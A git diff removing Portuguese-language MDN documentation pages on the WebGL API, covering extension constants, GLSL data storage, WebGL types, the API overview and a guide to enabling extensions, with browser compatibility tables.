COMPRESSED_SIGNED_RG11_EAC0x9273Two-channel (red and green) signed format compression.
COMPRESSED_RGB8_ETC20x9274Compresses RBG8 data with no alpha channel.
COMPRESSED_RGBA8_ETC2_EAC0x9275Compresses RGBA8 data. The RGB part is encoded the same as RGB_ETC2, but the alpha part is encoded separately.
COMPRESSED_SRGB8_ETC20x9276Compresses sRBG8 data with no alpha channel.
COMPRESSED_SRGB8_ALPHA8_ETC2_EAC0x9277Compresses sRGBA8 data. The sRGB part is encoded the same as SRGB_ETC2, but the alpha part is encoded separately.
COMPRESSED_RGB8_PUNCHTHROUGH_ALPHA1_ETC20x9278Similar to RGB8_ETC, but with ability to punch through the alpha channel, which means to make it completely opaque or transparent.
COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC20x9279Similar to SRGB8_ETC, but with ability to punch through the alpha channel, which means to make it completely opaque or transparent.
- -

{{domxref("WEBGL_compressed_texture_pvrtc")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
COMPRESSED_RGB_PVRTC_4BPPV1_IMG0x8C00RGB compression in 4-bit mode. One block for each 4×4 pixels.
COMPRESSED_RGBA_PVRTC_4BPPV1_IMG0x8C02RGBA compression in 4-bit mode. One block for each 4×4 pixels.
COMPRESSED_RGB_PVRTC_2BPPV1_IMG0x8C01RGB compression in 2-bit mode. One block for each 8×4 pixels.
COMPRESSED_RGBA_PVRTC_2BPPV1_IMG0x8C03RGBA compression in 2-bit mode. One block for each 8×4 pixe
- -

{{domxref("WEBGL_compressed_texture_etc1")}}

- - - - - - - - - - - - - - - - -
Constant nameValueDescription
COMPRESSED_RGB_ETC1_WEBGL0x8D64Compresses 24-bit RGB data with no alpha channel.
- -

{{domxref("WEBGL_compressed_texture_atc")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
COMPRESSED_RGB_ATC_WEBGL0x8C92Compresses RGB textures with no alpha channel.
COMPRESSED_RGBA_ATC_EXPLICIT_ALPHA_WEBGL0x8C92Compresses RGBA textures using explicit alpha encoding (useful when alpha transitions are sharp).
COMPRESSED_RGBA_ATC_INTERPOLATED_ALPHA_WEBGL0x87EECompresses RGBA textures using interpolated alpha encoding (useful when alpha transitions are gradient).
- -

{{domxref("WEBGL_depth_texture")}}

- - - - - - - - - - - - - - - - -
Constant nameValueDescription
UNSIGNED_INT_24_8_WEBGL0x84FAUnsigned integer type for 24-bit depth texture data.
- -

{{domxref("OES_texture_half_float")}}

- - - - - - - - - - - - - - - - -
Constant nameValueDescription
HALF_FLOAT_OES0x8D61Half floating-point type (16-bit).
- -

{{domxref("WEBGL_color_buffer_float")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
RGBA32F_EXT0x8814RGBA 32-bit floating-point color-renderable format.
RGB32F_EXT0x8815RGB 32-bit floating-point color-renderable format.
FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE_EXT0x8211 
UNSIGNED_NORMALIZED_EXT0x8C17 
- -

{{domxref("EXT_blend_minmax")}}

- - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
MIN_EXT0x8007Produces the minimum color components of the source and destination colors.
MAX_EXT0x8008Produces the maximum color components of the source and destination colors.
- -

{{domxref("EXT_sRGB")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
SRGB_EXT0x8C40Unsized sRGB format that leaves the precision up to the driver.
SRGB_ALPHA_EXT0x8C42Unsized sRGB format with unsized alpha component.
SRGB8_ALPHA8_EXT0x8C43Sized (8-bit) sRGB and alpha formats.
FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING_EXT0x8210Returns the framebuffer color encoding.
- -

{{domxref("OES_standard_derivatives")}}

- - - - - - - - - - - - - - - - -
Constant nameValueDescription
FRAGMENT_SHADER_DERIVATIVE_HINT_OES0x8B8BIndicates the accuracy of the derivative calculation for the GLSL built-in functions: dFdx, dFdy, and fwidth.
- -

{{domxref("WEBGL_draw_buffers")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
COLOR_ATTACHMENT0_WEBGL0x8CE0Framebuffer color attachment point
COLOR_ATTACHMENT1_WEBGL0x8CE1Framebuffer color attachment point
COLOR_ATTACHMENT2_WEBGL0x8CE2Framebuffer color attachment point
COLOR_ATTACHMENT3_WEBGL0x8CE3Framebuffer color attachment point
COLOR_ATTACHMENT4_WEBGL0x8CE4Framebuffer color attachment point
COLOR_ATTACHMENT5_WEBGL0x8CE5Framebuffer color attachment point
COLOR_ATTACHMENT6_WEBGL0x8CE6Framebuffer color attachment point
COLOR_ATTACHMENT7_WEBGL0x8CE7Framebuffer color attachment point
COLOR_ATTACHMENT8_WEBGL0x8CE8Framebuffer color attachment point
COLOR_ATTACHMENT9_WEBGL0x8CE9Framebuffer color attachment point
COLOR_ATTACHMENT10_WEBGL0x8CEAFramebuffer color attachment point
COLOR_ATTACHMENT11_WEBGL0x8CEBFramebuffer color attachment point
COLOR_ATTACHMENT12_WEBGL0x8CECFramebuffer color attachment point
COLOR_ATTACHMENT13_WEBGL0x8CEDFramebuffer color attachment point
COLOR_ATTACHMENT14_WEBGL0x8CEEFramebuffer color attachment point
COLOR_ATTACHMENT15_WEBGL0x8CEFFramebuffer color attachment point
DRAW_BUFFER0_WEBGL0x8825Draw buffer
DRAW_BUFFER1_WEBGL0x8826Draw buffer
DRAW_BUFFER2_WEBGL0x8827Draw buffer
DRAW_BUFFER3_WEBGL0x8828Draw buffer
DRAW_BUFFER4_WEBGL0x8829Draw buffer
DRAW_BUFFER5_WEBGL0x882ADraw buffer
DRAW_BUFFER6_WEBGL0x882BDraw buffer
DRAW_BUFFER7_WEBGL0x882CDraw buffer
DRAW_BUFFER8_WEBGL0x882DDraw buffer
DRAW_BUFFER9_WEBGL0x882EDraw buffer
DRAW_BUFFER10_WEBGL0x882FDraw buffer
DRAW_BUFFER11_WEBGL0x8830Draw buffer
DRAW_BUFFER12_WEBGL0x8831Draw buffer
DRAW_BUFFER13_WEBGL0x8832Draw buffer
DRAW_BUFFER14_WEBGL0x8833Draw buffer
DRAW_BUFFER15_WEBGL0x8834Draw buffer
MAX_COLOR_ATTACHMENTS_WEBGL0x8CDFMaximum number of framebuffer color attachment points
MAX_DRAW_BUFFERS_WEBGL0x8824Maximum number of draw buffers
- -

{{domxref("OES_vertex_array_object")}}

- - - - - - - - - - - - - - - - -
Constant nameValueDescription
VERTEX_ARRAY_BINDING_OES0x85B5The bound vertex array object (VAO).
- -

{{domxref("EXT_disjoint_timer_query")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome da constanteValorDescrição
QUERY_COUNTER_BITS_EXT0x8864The number of bits used to hold the query result for the given target.
CURRENT_QUERY_EXT0x8865The currently active query.
QUERY_RESULT_EXT0x8866The query result.
QUERY_RESULT_AVAILABLE_EXT0x8867A Boolean indicating whether or not a query result is available.
TIME_ELAPSED_EXT0x88BFElapsed time (in nanoseconds).
TIMESTAMP_EXT0x8E28The current time.
GPU_DISJOINT_EXT0x8FBBA Boolean indicating whether or not the GPU performed any disjoint operation.
- -

Especificações

- - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('WebGL', "#5.14", "WebGLRenderingContext")}}{{Spec2('WebGL')}}Initial definition
{{SpecName('WebGL2', "#3.7", "WebGL2RenderingContext")}}{{Spec2('WebGL2')}}Defines additional constants.
- -

Consulte também

- -
    -
  • {{domxref("WebGLRenderingContext")}}
  • -
- -
- - - - - -
diff --git a/files/pt-pt/web/api/webgl_api/data/index.html b/files/pt-pt/web/api/webgl_api/data/index.html deleted file mode 100644 index b085643358..0000000000 --- a/files/pt-pt/web/api/webgl_api/data/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Dados em WebGL -slug: Web/API/WebGL_API/Data -tags: - - 3D - - API de WebGL - - Atributos - - Desenho - - Gráficos 3D - - Guía - - Intermediário - - Uniforms - - Varyings - - WebGL - - graficos -translation_of: Web/API/WebGL_API/Data -original_slug: Web/API/WebGL_API/Dados ---- -
{{WebGLSidebar}}{{draft}}
- -

Shader programs have access to three kinds of data storage, each of which has a specific use case. Each kind of variable is accessible by one or both types of shader program (depending on the data store type) and possibly by the site's JavaScript code, depending on the specific type of variable.

- -

Tipos de dados GLSL

- -

<<document the basic types, vectors, etc; see Data Type (GLSL) on the Khronos WebGL wiki>>

- -

Variáveis de GLSL

- -

There are three kinds of "variable" or data storage available in GLSL, each of which with its own purpose and use cases: {{anch("Attributes", "attributes")}}, {{anch("Varyings", "varyings")}}, and {{anch("Uniforms", "uniforms")}}.

- -

Atributos

- -

Attributes are GLSL variables which are only available to the vertex shader (as variables) and the JavaScript code. Attributes are typically used to store color information, texture coordinates, and any other data calculated or retrieved that needs to be shared between the JavaScript code and the vertex shader.

- -

<<add how to use them>>

- -

Varyings

- -

Varyings are variables that are declared by the vertex shader and used to pass data from the vertex shader to the fragment shader. This is commonly used to share a vertex's {{interwiki("wikipedia", "Normal_(geometry)", "normal vector")}} after it has been computed by the vertex shader.

- -

<<how to use>>

- -

Uniforms

- -

Uniforms are set by the JavaScript code and are available to both the vertex and fragment shaders. They're used to provide values that will be the same for everything drawn in the frame, such as lighting positions and magnitudes, global transformation and perspective details, and so forth.

- -

<<add details>>

- -

Buffers

- -

<<add information>>

- -

Texturas

- -

<<add information>>

- -
- - - - - -
diff --git a/files/pt-pt/web/api/webgl_api/index.html b/files/pt-pt/web/api/webgl_api/index.html deleted file mode 100644 index 69f79c67f6..0000000000 --- a/files/pt-pt/web/api/webgl_api/index.html +++ /dev/null @@ -1,255 +0,0 @@ ---- -title: 'API de WebGL: Gráficos 2D e 3D para a Web' -slug: Web/API/WebGL_API -tags: - - 3D - - API de WebGL - - Avançado - - Gráficos 3D - - Multimedia - - Referencia - - Resumo - - Sinopse - - WebGL - - graficos -translation_of: Web/API/WebGL_API ---- -
{{WebGLSidebar}}
- -
-

WebGL (Biblioteca de Gráficos da Web) é uma API de JavaScript para a renderização de gráficos 2D e 3D interativos dentro de qualquer navegador da Web compatível sem a utilização de plug-ins. WebGL fazi isso, ao introduzir uma API que está em conformidade com o OpenGL ES 2.0 que pode ser utilizado em elementos {{HTMLElement("canvas")}} de HTML5.

-
- -

O suporte para WebGL está presente no Firefox 4+, Google Chrome 9+, Opera 12+, Safari 5.1+ and Internet Explorer 11+, e Microsoft Edge build 10240+; contudo, o dispositivo do utilizador também deve ter hardware que suporte estas funcionalidades.

- -

O elemento {{HTMLElement("canvas")}} também é utilizado por Canvas 2D para gráficos 2D nas páginas da Web.

- -

Referência

- -

Interfaces padrão

- -
-
    -
  • {{domxref("WebGLRenderingContext")}}
  • -
  • {{domxref("WebGL2RenderingContext")}} {{experimental_inline}}
  • -
  • {{domxref("WebGLActiveInfo")}}
  • -
  • {{domxref("WebGLBuffer")}}
  • -
  • {{domxref("WebGLContextEvent")}}
  • -
  • {{domxref("WebGLFramebuffer")}}
  • -
  • {{domxref("WebGLProgram")}}
  • -
  • {{domxref("WebGLQuery")}} {{experimental_inline}}
  • -
  • {{domxref("WebGLRenderbuffer")}}
  • -
  • {{domxref("WebGLSampler")}} {{experimental_inline}}
  • -
  • {{domxref("WebGLShader")}}
  • -
  • {{domxref("WebGLShaderPrecisionFormat")}}
  • -
  • {{domxref("WebGLSync")}} {{experimental_inline}}
  • -
  • {{domxref("WebGLTexture")}}
  • -
  • {{domxref("WebGLTransformFeedback")}} {{experimental_inline}}
  • -
  • {{domxref("WebGLUniformLocation")}}
  • -
  • {{domxref("WebGLVertexArrayObject")}} {{experimental_inline}}
  • -
-
- -

Extensões

- -
-
    -
  • {{domxref("ANGLE_instanced_arrays")}}
  • -
  • {{domxref("EXT_blend_minmax")}}
  • -
  • {{domxref("EXT_color_buffer_float")}}
  • -
  • {{domxref("EXT_color_buffer_half_float")}}
  • -
  • {{domxref("EXT_disjoint_timer_query")}}
  • -
  • {{domxref("EXT_frag_depth")}}
  • -
  • {{domxref("EXT_sRGB")}}
  • -
  • {{domxref("EXT_shader_texture_lod")}}
  • -
  • {{domxref("EXT_texture_filter_anisotropic")}}
  • -
  • {{domxref("OES_element_index_uint")}}
  • -
  • {{domxref("OES_standard_derivatives")}}
  • -
  • {{domxref("OES_texture_float")}}
  • -
  • {{domxref("OES_texture_float_linear")}}
  • -
  • {{domxref("OES_texture_half_float")}}
  • -
  • {{domxref("OES_texture_half_float_linear")}}
  • -
  • {{domxref("OES_vertex_array_object")}}
  • -
  • {{domxref("WEBGL_color_buffer_float")}}
  • -
  • {{domxref("WEBGL_compressed_texture_astc")}}
  • -
  • {{domxref("WEBGL_compressed_texture_atc")}}
  • -
  • {{domxref("WEBGL_compressed_texture_etc")}}
  • -
  • {{domxref("WEBGL_compressed_texture_etc1")}}
  • -
  • {{domxref("WEBGL_compressed_texture_pvrtc")}}
  • -
  • {{domxref("WEBGL_compressed_texture_s3tc")}}
  • -
  • {{domxref("WEBGL_compressed_texture_s3tc_srgb")}}
  • -
  • {{domxref("WEBGL_debug_renderer_info")}}
  • -
  • {{domxref("WEBGL_debug_shaders")}}
  • -
  • {{domxref("WEBGL_depth_texture")}}
  • -
  • {{domxref("WEBGL_draw_buffers")}}
  • -
  • {{domxref("WEBGL_lose_context")}}
  • -
-
- -

Eventos

- -
    -
  • {{Event("webglcontextlost")}}
  • -
  • {{Event("webglcontextrestored")}}
  • -
  • {{Event("webglcontextcreationerror")}}
  • -
- -

Constantes e tipos

- - - -

WebGL 2

- -

WebGL 2 é uma atualização muito importante para WebGL que é fornecida através da inteface de {{domxref("WebGL2RenderingContext")}}. Esta tem como base o OpenGL ES 3.0 e novas funcionalidades includas:

- - - -

See also the blog post "WebGL 2 lands in Firefox" and webglsamples.org/WebGL2Samples for a few demos.

- -

Guias e tutoriais

- -

Below, you'll find an assortment of guides to help you learn WebGL concepts and tutorials that offer step-by-step lessons and examples.

- -

Guias

- -
-
Dados em WebGL
-
A guide to variables, buffers, and other types of data used when writing WebGL code.
-
WebGL best practices
-
Tips and suggestions to help you improve the quality, performance, and reliability of your WebGL content.
-
Using extensions
-
A guide to using WebGL extensions.
-
- -

Tutoriais

- -
-
WebGL tutorial
-
A beginner's guide to WebGL core concepts. A good place to start if you don't have previous WebGL experience.
-
- -

Exemplos

- -
-
A basic 2D WebGL animation example
-
This example demonstrates the simple animation of a one-color shape. Topics examined are adapting to aspect ratio differences, a function to build shader programs from sets of multiple shaders, and the basics of drawing in WebGL.
-
WebGL by example
-
A series of live samples with short explanations that showcase WebGL concepts and capabilities. The examples are sorted according to topic and level of difficulty, covering the WebGL rendering context, shader programming, textures, geometry, user interaction, and more.
-
- -

Tutoriais avançados

- -
-
WebGL model view projection
-
A detailed explanation of the three core matrices that are typically used to represent a 3D object view: the model, view and projection matrices.
-
Matrix math for the web
-
A useful guide to how 3D transform matrices work, and can be used on the web — both for WebGL calculations and in CSS3 transforms.
-
- -

Recursos

- -
    -
  • Raw WebGL: An introduction to WebGL A talk by Nick Desaulniers that introduces the basics of WebGL. This is a great place to start if you've never done low-level graphics programming.
  • -
  • Khronos WebGL site The main web site for WebGL at the Khronos Group.
  • -
  • Learning WebGL A site with tutorials on how to use WebGL.
  • -
  • WebGL Fundamentals A basic tutorial with fundamentals of WebGL.
  • -
  • WebGL playground An online tool for creating and sharing WebGL projects. Good for quick prototyping and experimenting.
  • -
  • WebGL Academy An HTML/JavaScript editor with tutorials to learn basics of webgl programming.
  • -
  • WebGL Stats A site with statistics about WebGL capabilities in browsers on different platforms.
  • -
- -

Bibliotecas

- -
    -
  • glMatrix is a JavaScript matrix and vector library for high-performance WebGL apps.
  • -
  • PhiloGL is a WebGL framework for data visualization, creative coding, and game development.
  • -
  • Pixi.js is a fast, open-source 2D WebGL renderer.
  • -
  • PlayCanvas is an open-source game engine.
  • -
  • Sylvester is an open-source library for manipulating vectors and matrices. Not optimized for WebGL but extremely robust.
  • -
  • three.js is an open-source, fully featured 3D WebGL library.
  • -
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('WebGL')}}{{Spec2('WebGL')}}Initial definition. Based on OpenGL ES 2.0
{{SpecName('WebGL2')}}{{Spec2('WebGL2')}}Builds on top of WebGL 1. Based on OpenGL ES 3.0.
{{SpecName('OpenGL ES 2.0')}}{{Spec2('OpenGL ES 2.0')}} 
{{SpecName('OpenGL ES 3.0')}}{{Spec2('OpenGL ES 3.0')}} 
- -

Compatibilidade de navegador

- -

WebGL 1

- -
- - -

{{Compat("api.WebGLRenderingContext", 0)}}

- -

WebGL 2

- - - -

{{Compat("api.WebGL2RenderingContext", 0)}}

-
- -

Notas de compatibilidade

- -

In addition to the browser, the GPU itself also needs to support the feature. So, for example, S3 Texture Compression (S3TC) is only available on Tegra-based tablets. Most browsers make the WebGL context available through the webgl context name, but older ones need experimental-webgl as well. In addition, the upcoming WebGL 2 is fully backwards-compatible and will have the context name webgl2.

- -

Notas do Gecko

- -

Depuração e teste de WebGL

- -

Starting with Gecko 10.0 {{geckoRelease("10.0")}}, there are two preferences available which let you control the capabilities of WebGL for testing purposes:

- -
-
webgl.min_capability_mode
-
A Boolean property that, when true, enables a minimum capability mode. When in this mode, WebGL is configured to only support the bare minimum feature set and capabilities required by the WebGL specification. This lets you ensure that your WebGL code will work on any device or browser, regardless of their capabilities. This is false by default.
-
webgl.disable_extensions
-
A Boolean property that, when true, disables all WebGL extensions. This is false by default.
-
- -

Consultar também

- - diff --git a/files/pt-pt/web/api/webgl_api/types/index.html b/files/pt-pt/web/api/webgl_api/types/index.html deleted file mode 100644 index 1228b2a17a..0000000000 --- a/files/pt-pt/web/api/webgl_api/types/index.html +++ /dev/null @@ -1,243 +0,0 @@ ---- -title: Tipos de WebGL -slug: Web/API/WebGL_API/Types -translation_of: Web/API/WebGL_API/Types -original_slug: Web/API/WebGL_API/Tipos ---- -
{{WebGLSidebar}}
- -

Os seguintes tipos são utilizados nas interfaces de WebGL.

- -

WebGL 1

- -

These types are used within a {{domxref("WebGLRenderingContext")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TipoTipo de IDL WebDescrição
GLenumunsigned longUsed for enums. See also the list of constants.
GLbooleanbooleanA {{jsxref("Boolean")}}.
GLbitfieldunsigned longA bit field that stores multiple, logical bits. Used for example in {{domxref("WebGLRenderingContext.clear()")}}.
GLbytebyte8-bit twos complement signed integer.
GLshortshort16-bit twos complement signed integer.
GLintlong32-bit twos complement signed integer.
GLsizeilongUsed for sizes (e.g. width and height of the drawing buffer).
GLintptrlong longSpecial type for pointer arithmetic.
GLsizeiptrlong longSpecial type for pointer arithmetic.
GLubyteoctet8-bit twos complement unsigned integer.
GLushortunsigned short16-bit twos complement unsigned integer.
GLuintunsigned long32-bit twos complement unsigned integer.
GLfloatunrestricted float32-bit IEEE floating point number.
GLclampfunrestricted floatClamped 32-bit IEEE floating point number.
- -

WebGL 2

- -

These types are used within a {{domxref("WebGL2RenderingContext")}}. All WebGL 1 types are used as well.

- - - - - - - - - - - - - - -
TipoTipo IDL WebDescrição
GLint64long longSigned 64-bit integer number.
- -

WebGL extensions

- -

Estes tipos são utilziados dentro das extensões de WebGL.

- - - - - - - - - - - - - - -
TipoTipo de IDL WebDescrição
GLuint64EXTlong longUnsigned 64-bit integer number.
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('WebGL', "#5.1", "Types")}}{{Spec2('WebGL')}}Initial definition
{{SpecName('WebGL2', "#3.1", "Types")}}{{Spec2('WebGL2')}}Defines additional types.
{{SpecName('EXT_disjoint_timer_query', "", "GLuint64EXT")}}{{Spec2('EXT_disjoint_timer_query')}}Adds GLuint64EXT
- -

Consulte também

- -
    -
  • {{domxref("WebGLRenderingContext")}}
  • -
- -
- - - - - -
diff --git a/files/pt-pt/web/api/webgl_api/using_extensions/index.html b/files/pt-pt/web/api/webgl_api/using_extensions/index.html deleted file mode 100644 index 30d87afbcd..0000000000 --- a/files/pt-pt/web/api/webgl_api/using_extensions/index.html +++ /dev/null @@ -1,719 +0,0 @@ ---- -title: Utilizar extensões de WebGL -slug: Web/API/WebGL_API/Using_Extensions -tags: - - Avançado - - WebGL -translation_of: Web/API/WebGL_API/Using_Extensions -original_slug: Web/API/WebGL_API/Utilizar_Extensões ---- -
{{WebGLSidebar}}
- -

WebGL, like its sister APIs (OpenGL and OpenGL ES), supports extensions. A complete list of extensions is available in the khronos webgl extension registry.

- -
Nota: In WebGL, unlike in other GL APIs, extensions are only available if explicitly requested.
- -

Nomes de extensão canónica, prefixos e preferências da empresa

- -

Extensions may be supported by browser vendors before being officially ratified (but only when they are in draft stage). In that case, their name can be prefixed by the vendor prefix (MOZ_, WEBKIT_, etc.) or the extension is only available once a browser preference has been toggled.

- -

If you wish to work with the bleeding edge of extensions, and want to keep working on upon ratification (assuming, of course, that the extension doesn't change in incompatible ways), that you query the canonical extension name as well as the vendor extension name. For instance:

- -
var ext = (
-  gl.getExtension('OES_vertex_array_object') ||
-  gl.getExtension('MOZ_OES_vertex_array_object') ||
-  gl.getExtension('WEBKIT_OES_vertex_array_object')
-);
-
- -

Note that, vendor prefix have been discouraged more and more and thus most browser implement experimental extensions behind a feature flag rather than vendor prefix.

- -

The feature flags are:

- -
    -
  • webgl.enable-draft-extensions in Firefox
  • -
  • chrome://flags/#enable-webgl-draft-extensions in Chromium based browsers (Chrome, Opera).
  • -
- -

Convenções de nomeação

- -

WebGL extensions are prefixed with "ANGLE", "OES", "EXT" or "WEBGL". These prefixes reflect origin and intent:

- -
    -
  • ANGLE_: Extensions that are written by the ANGLE library authors.
  • -
  • OES_: Extensions that mirror functionality from OpenGL ES or OpenGL API extensions approved by the respective architecture review boards.
  • -
  • EXT_: Extensions that mirror other OpenGL ES or OpenGL API extensions.
  • -
  • WEBGL_: Extensions that are WebGL-specific and intended to be compatible with multiple web browsers. It should also be used for extensions which originated with the OpenGL ES or OpenGL APIs, but whose behavior has been significantly altered.
  • -
- -

Extensões de consulta disponíveis

- -

O contexto de WebGL suporta a consulta de quais as extensões que estão disponíveis.

- -
var available_extensions = gl.getSupportedExtensions();
- -

The {{domxref("WebGLRenderingContext.getSupportedExtensions()")}} method returns an array of strings, one for each supported extension.

- -

Lista de extensões

- -

As extensões atuais são:

- -

{{page("pt-PT/docs/Web/API/WebGL_API", "Extensões")}}

- -

Ativar uma extensão

- -

Before an extension can be used it has to be enabled using {{domxref("WebGLRenderingContext.getExtension()")}}. For example:

- -
var float_texture_ext = gl.getExtension('OES_texture_float');
- -

The return value is null if the extension is not supported, or an extension object otherwise.

- -

Objetos de extensão

- -

If an extension defines specific symbols or functions that are not available in the core specification of WebGL, they will be available on the extension object returned by the call to gl.getExtension().

- -

Compatibilidade de navegador

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support9{{CompatGeckoDesktop("2.0")}}11125.1
ANGLE_instanced_arrays{{CompatUnknown}}{{CompatGeckoDesktop("33.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_blend_minmax{{CompatUnknown}}{{CompatGeckoDesktop("33.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_float{{CompatUnknown}}{{CompatGeckoDesktop("49.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_half_float{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_disjoint_timer_query{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_frag_depth{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_sRGB{{CompatUnknown}}{{CompatGeckoDesktop("28.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_shader_texture_lod{{CompatUnknown}}{{CompatGeckoDesktop("50.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_texture_filter_anisotropic{{CompatUnknown}}{{CompatGeckoDesktop("17.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_element_index_uint{{CompatUnknown}}{{CompatGeckoDesktop("24.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_standard_derivatives{{CompatUnknown}}{{CompatGeckoDesktop("10.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float{{CompatUnknown}}{{CompatGeckoDesktop("6.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float_linear{{CompatUnknown}}{{CompatGeckoDesktop("24.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float{{CompatUnknown}}{{CompatGeckoDesktop("29.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float_linear{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_vertex_array_object{{CompatUnknown}}{{CompatGeckoDesktop("25.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_color_buffer_float{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_astc{{CompatUnknown}}{{CompatGeckoDesktop("53.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_atc{{CompatUnknown}}{{CompatGeckoDesktop("18.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc{{CompatUnknown}}{{CompatGeckoDesktop("51.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc1{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_pvrtc{{CompatUnknown}}{{CompatGeckoDesktop("18.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc_srgb{{CompatUnknown}}{{CompatGeckoDesktop("55.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_renderer_info{{CompatUnknown}}{{CompatGeckoDesktop("19.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_shaders{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_depth_texture{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_draw_buffers{{CompatUnknown}}{{CompatGeckoDesktop("28.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_lose_context{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadesAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}25{{CompatGeckoMobile("2.0")}}{{CompatVersionUnknown}}128.0
ANGLE_instanced_arrays{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_blend_minmax{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
